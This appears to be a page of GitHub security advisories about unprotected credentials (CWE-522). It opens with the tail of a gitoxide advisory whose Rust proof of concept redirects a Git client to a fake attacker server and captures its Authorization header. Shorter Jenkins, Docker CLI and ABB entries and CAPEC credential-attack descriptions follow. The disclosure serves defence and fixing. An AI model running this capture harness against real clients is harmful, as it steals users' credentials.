application/x-git-upload-pack-result\\r\\nContent-Length: {}\\r\\nConnection: close\\r\\n\\r\\n{resp_body}\",\n            resp_body.len()\n        );\n        conn2.write_all(response2.as_bytes()).unwrap();\n        conn2.flush().unwrap();\n        drop(conn2);\n\n        captured_tx.send(headers2).ok();\n    });\n\n    // Legitimate server (port 8080): redirects to attacker\n    let legit = TcpListener::bind(\"127.0.0.1:8080\").expect(\"bind legit\");\n    let legit_handle = thread::spawn(move || {\n        let (mut conn, _) = legit.accept().expect(\"accept legit\");\n        let mut reader = BufReader::new(conn.try_clone().unwrap());\n        let mut request_line = String::new();\n        reader.read_line(\u0026mut request_line).unwrap();\n        println!(\"[legit] Received: {}\", request_line.trim());\n        loop {\n            let mut line = String::new();\n            reader.read_line(\u0026mut line).unwrap();\n            if line.trim().is_empty() { break; }\n        }\n        let redirect_url = \"http://127.0.0.1:9090/repo.git/info/refs?service=git-upload-pack\";\n        let response = format!(\n            \"HTTP/1.1 302 Found\\r\\nLocation: {redirect_url}\\r\\nContent-Length: 0\\r\\n\\r\\n\"\n        );\n        conn.write_all(response.as_bytes()).unwrap();\n        conn.flush().unwrap();\n        println!(\"[legit] Sent 302 redirect to attacker server\");\n    });\n\n    thread::sleep(std::time::Duration::from_millis(100));\n\n    println!(\"\\n[client] Connecting to http://127.0.0.1:8080/repo.git with credentials...\");\n    let url: gix_url::Url = \"http://127.0.0.1:8080/repo.git\".try_into().expect(\"parse url\");\n    let mut transport: http::Transport\u003chttp::curl::Curl\u003e =\n        http::connect(url, gix_transport::Protocol::V1, false);\n    transport\n        .set_identity(gix_sec::identity::Account {\n            username: \"victim-user\".into(),\n            password: \"super-secret-token\".into(),\n            oauth_refresh_token: None,\n        })\n        .expect(\"set identity\");\n\n    println!(\"[client] Performing handshake (GET /info/refs)...\");\n    match transport.handshake(gix_transport::Service::UploadPack, \u0026[]) {\n        Ok(_) =\u003e println!(\"[client] Handshake succeeded\"),\n        Err(e) =\u003e println!(\"[client] Handshake error: {e}\"),\n    }\n\n    println!(\"[client] Sending request (POST /git-upload-pack)...\");\n    match transport.request(client::WriteMode::Binary, client::MessageKind::Flush, false) {\n        Ok(_writer) =\u003e println!(\"[client] Request sent\"),\n        Err(e) =\u003e println!(\"[client] Request error: {e}\"),\n    }\n\n    legit_handle.join().ok();\n    attacker_handle.join().ok();\n\n    println!(\"\\n=== RESULT ===\");\n    if let Ok(headers) = captured_rx.recv_timeout(std::time::Duration::from_secs(2)) {\n        let leaked = headers.iter().any(|h| h.starts_with(\"Authorization:\"));\n        if leaked {\n            let auth = headers.iter().find(|h| h.starts_with(\"Authorization:\")).unwrap();\n            println!(\"VULNERABLE: Credentials leaked to attacker server!\");\n            println!(\"Captured: {auth}\");\n        } else {\n            println!(\"NOT VULNERABLE: No credentials captured.\");\n        }\n    } else {\n        println!(\"ERROR: Timed out.\");\n    }\n}\n```\n\n\u003c/details\u003e\n\n**Output:**\n\n```\n[attacker] GET /info/refs headers (from redirect):\n  GET /repo.git/info/refs?service=git-upload-pack HTTP/1.1\n  Host: 127.0.0.1:9090\n  Accept: */*\n  User-Agent: git/oxide-0.55.0\n\n[attacker] POST /git-upload-pack headers:\n  POST /repo.git/git-upload-pack HTTP/1.1\n  Host: 127.0.0.1:9090\n  \u003e\u003e\u003e LEAKED: Authorization: Basic dmljdGltLXVzZXI6c3VwZXItc2VjcmV0LXRva2Vu\n\nVULNERABLE: Credentials leaked to attacker server!\nCaptured: Authorization: Basic dmljdGltLXVzZXI6c3VwZXItc2VjcmV0LXRva2Vu\n```\n\nThe GET (from redirect) has no `Authorization` header. The POST carries the full credentials. The base64 decodes to `victim-user:super-secret-token`.\n\n## Impact\n\nAny user who clones or fetches over HTTP(S) using gitoxide with the curl backend (`http-client-curl` feature) can have their credentials stolen by an attacker who controls a redirect target (via compromised server, DNS hijacking, or MITM). The only user interaction required is initiating the clone or fetch; the redirect and credential leak happen transparently. CI/CD pipelines using tokens are also at risk.\n\n## Suggested Fix\n\n1. Only attach `Authorization` if the effective URL\u0027s host matches the original URL\u0027s host.\n2. Or block cross-origin redirects in the curl backend, matching reqwest\u0027s behavior.\n3. Check the effective URL\u0027s scheme (not the original) for the HTTPS-to-HTTP downgrade.",
  "id": "GHSA-9857-6mw7-fq2m",
  "modified": "2026-05-05T19:16:35Z",
  "published": "2026-05-05T19:16:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/GitoxideLabs/gitoxide/security/advisories/GHSA-9857-6mw7-fq2m"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/GitoxideLabs/gitoxide"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "gix-transport: HTTP credentials leaked to redirected host in curl backend"
}

GHSA-99JC-V8PQ-6QM4

Vulnerability from github – Published: 2022-05-13 01:15 – Updated: 2023-10-25 21:26
VLAI
Summary
Jenkins Repository Connector Plugin has insufficiently protected credentials
Details

Jenkins Repository Connector Plugin stored the username and password in its configuration unencrypted in its global configuration file on the Jenkins controller. This password could be viewed by users with access to the Jenkins controller file system.

The plugin now stores the password encrypted in the configuration files on disk and no longer transfers it to users viewing the configuration form in plain text.

Severity
3.3 (Low)
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.2.4"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.jenkins-ci.plugins:repository-connector"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.2.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-1003038"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-522"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-10-25T21:26:07Z",
    "nvd_published_at": "2019-03-08T21:29:00Z",
    "severity": "LOW"
  },
  "details": "Jenkins Repository Connector Plugin stored the username and password in its configuration unencrypted in its global configuration file on the Jenkins controller. This password could be viewed by users with access to the Jenkins controller file system.\n\nThe plugin now stores the password encrypted in the configuration files on disk and no longer transfers it to users viewing the configuration form in plain text.",
  "id": "GHSA-99jc-v8pq-6qm4",
  "modified": "2023-10-25T21:26:07Z",
  "published": "2022-05-13T01:15:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-1003038"
    },
    {
      "type": "WEB",
      "url": "https://jenkins.io/security/advisory/2019-03-06/#SECURITY-958"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20200227084009/http://www.securityfocus.com/bid/107476"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Jenkins Repository Connector Plugin has insufficiently protected credentials"
}

GHSA-99PG-GRM5-QQ3V

Vulnerability from github – Published: 2024-06-10 18:38 – Updated: 2024-07-05 21:43
VLAI
Summary
Docker CLI leaks private registry credentials to registry-1.docker.io
Details

Impact

A bug was found in the Docker CLI where running docker login my-private-registry.example.com with a misconfigured configuration file (typically ~/.docker/config.json) listing a credsStore or credHelpers that could not be executed would result in any provided credentials being sent to registry-1.docker.io rather than the intended private registry.

Patches

This bug has been fixed in Docker CLI 20.10.9. Users should update to this version as soon as possible.

Workarounds

Ensure that any configured credsStore or credHelpers entries in the configuration file reference an installed credential helper that is executable and on the PATH.

For more information

If you have any questions or comments about this advisory:

  • Open an issue
  • Email us at security@docker.com if you think you’ve found a security bug
Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/docker/cli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "20.10.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-41092"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-522"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-06-10T18:38:49Z",
    "nvd_published_at": "2021-10-04T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "## Impact\n\nA bug was found in the Docker CLI where running `docker login my-private-registry.example.com` with a misconfigured configuration file (typically `~/.docker/config.json`) listing a `credsStore` or `credHelpers` that could not be executed would result in any provided credentials being sent to `registry-1.docker.io` rather than the intended private registry.\n\n## Patches\n\nThis bug has been fixed in Docker CLI 20.10.9.  Users should update to this version as soon as possible.\n\n## Workarounds\n\nEnsure that any configured `credsStore` or `credHelpers` entries in the configuration file reference an installed credential helper that is executable and on the `PATH`.\n\n## For more information\n\nIf you have any questions or comments about this advisory:\n\n* [Open an issue](https://github.com/docker/cli/issues/new/choose)\n* Email us at security@docker.com if you think you\u2019ve found a security bug",
  "id": "GHSA-99pg-grm5-qq3v",
  "modified": "2024-07-05T21:43:24Z",
  "published": "2024-06-10T18:38:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/docker/cli/security/advisories/GHSA-99pg-grm5-qq3v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-41092"
    },
    {
      "type": "WEB",
      "url": "https://github.com/docker/cli/commit/893e52cf4ba4b048d72e99748e0f86b2767c6c6b"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-222547.pdf"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/B5Q6G6I4W5COQE25QMC7FJY3I3PAYFBB"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZNFADTCHHYWVM6W4NJ6CB4FNFM2VMBIB"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Docker CLI leaks private registry credentials to registry-1.docker.io"
}

GHSA-99WW-C378-6M65

Vulnerability from github – Published: 2024-12-05 15:31 – Updated: 2025-02-27 18:31
VLAI
Details

Credentials Disclosure vulnerabilities allow access to on board project back-up bundles.  Affected products:

ABB ASPECT - Enterprise v3.08.02; NEXUS Series v3.08.02; MATRIX Series v3.08.02

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:L/SI:L/SA:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-51546"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1287",
      "CWE-522"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-05T13:15:08Z",
    "severity": "HIGH"
  },
  "details": "Credentials Disclosure vulnerabilities allow access to on board project back-up bundles.\u00a0\nAffected products:\n\n\nABB ASPECT - Enterprise v3.08.02; \nNEXUS Series v3.08.02; \nMATRIX Series v3.08.02",
  "id": "GHSA-99ww-c378-6m65",
  "modified": "2025-02-27T18:31:03Z",
  "published": "2024-12-05T15:31:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-51546"
    },
    {
      "type": "WEB",
      "url": "https://search.abb.com/library/Download.aspx?DocumentID=9AKK108469A7497\u0026LanguageCode=en\u0026DocumentPartId=\u0026Action=Launch"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}
Mitigation
Architecture and Design

Use an appropriate security mechanism to protect the credentials.

Mitigation
Architecture and Design

Make appropriate use of cryptography to protect the credentials.

Mitigation
Implementation

Use industry standards to protect the credentials (e.g. LDAP, keystore, etc.).

CAPEC-102: Session Sidejacking

Session sidejacking takes advantage of an unencrypted communication channel between a victim and target system. The attacker sniffs traffic on a network looking for session tokens in unencrypted traffic. Once a session token is captured, the attacker performs malicious actions by using the stolen token with the targeted application to impersonate the victim. This attack is a specific method of session hijacking, which is exploiting a valid session token to gain unauthorized access to a target system or information. Other methods to perform a session hijacking are session fixation, cross-site scripting, or compromising a user or server machine and stealing the session token.

CAPEC-474: Signature Spoofing by Key Theft

An attacker obtains an authoritative or reputable signer's private signature key by theft and then uses this key to forge signatures from the original signer to mislead a victim into performing actions that benefit the attacker.

CAPEC-50: Password Recovery Exploitation

An attacker may take advantage of the application feature to help users recover their forgotten passwords in order to gain access into the system with the same privileges as the original user. Generally password recovery schemes tend to be weak and insecure.

CAPEC-509: Kerberoasting

Through the exploitation of how service accounts leverage Kerberos authentication with Service Principal Names (SPNs), the adversary obtains and subsequently cracks the hashed credentials of a service account target to exploit its privileges. The Kerberos authentication protocol centers around a ticketing system which is used to request/grant access to services and to then access the requested services. As an authenticated user, the adversary may request Active Directory and obtain a service ticket with portions encrypted via RC4 with the private key of the authenticated account. By extracting the local ticket and saving it disk, the adversary can brute force the hashed value to reveal the target account credentials.

CAPEC-551: Modify Existing Service

When an operating system starts, it also starts programs called services or daemons. Modifying existing services may break existing services or may enable services that are disabled/not commonly used.

CAPEC-555: Remote Services with Stolen Credentials

This pattern of attack involves an adversary that uses stolen credentials to leverage remote services such as RDP, telnet, SSH, and VNC to log into a system. Once access is gained, any number of malicious activities could be performed.

CAPEC-560: Use of Known Domain Credentials

An adversary guesses or obtains (i.e. steals or purchases) legitimate credentials (e.g. userID/password) to achieve authentication and to perform authorized actions under the guise of an authenticated user or service.

CAPEC-561: Windows Admin Shares with Stolen Credentials

An adversary guesses or obtains (i.e. steals or purchases) legitimate Windows administrator credentials (e.g. userID/password) to access Windows Admin Shares on a local machine or within a Windows domain.

CAPEC-600: Credential Stuffing

An adversary tries known username/password combinations against different systems, applications, or services to gain additional authenticated access. Credential Stuffing attacks rely upon the fact that many users leverage the same username/password combination for multiple systems, applications, and services.

CAPEC-644: Use of Captured Hashes (Pass The Hash)

An adversary obtains (i.e. steals or purchases) legitimate Windows domain credential hash values to access systems within the domain that leverage the Lan Man (LM) and/or NT Lan Man (NTLM) authentication protocols.

CAPEC-645: Use of Captured Tickets (Pass The Ticket)

An adversary uses stolen Kerberos tickets to access systems/resources that leverage the Kerberos authentication protocol. The Kerberos authentication protocol centers around a ticketing system which is used to request/grant access to services and to then access the requested services. An adversary can obtain any one of these tickets (e.g. Service Ticket, Ticket Granting Ticket, Silver Ticket, or Golden Ticket) to authenticate to a system/resource without needing the account's credentials. Depending on the ticket obtained, the adversary may be able to access a particular resource or generate TGTs for any account within an Active Directory Domain.

CAPEC-652: Use of Known Kerberos Credentials

An adversary obtains (i.e. steals or purchases) legitimate Kerberos credentials (e.g. Kerberos service account userID/password or Kerberos Tickets) with the goal of achieving authenticated access to additional systems, applications, or services within the domain.

CAPEC-653: Use of Known Operating System Credentials

An adversary guesses or obtains (i.e. steals or purchases) legitimate operating system credentials (e.g. userID/password) to achieve authentication and to perform authorized actions on the system, under the guise of an authenticated user or service. This applies to any Operating System.

← Back to the CWE list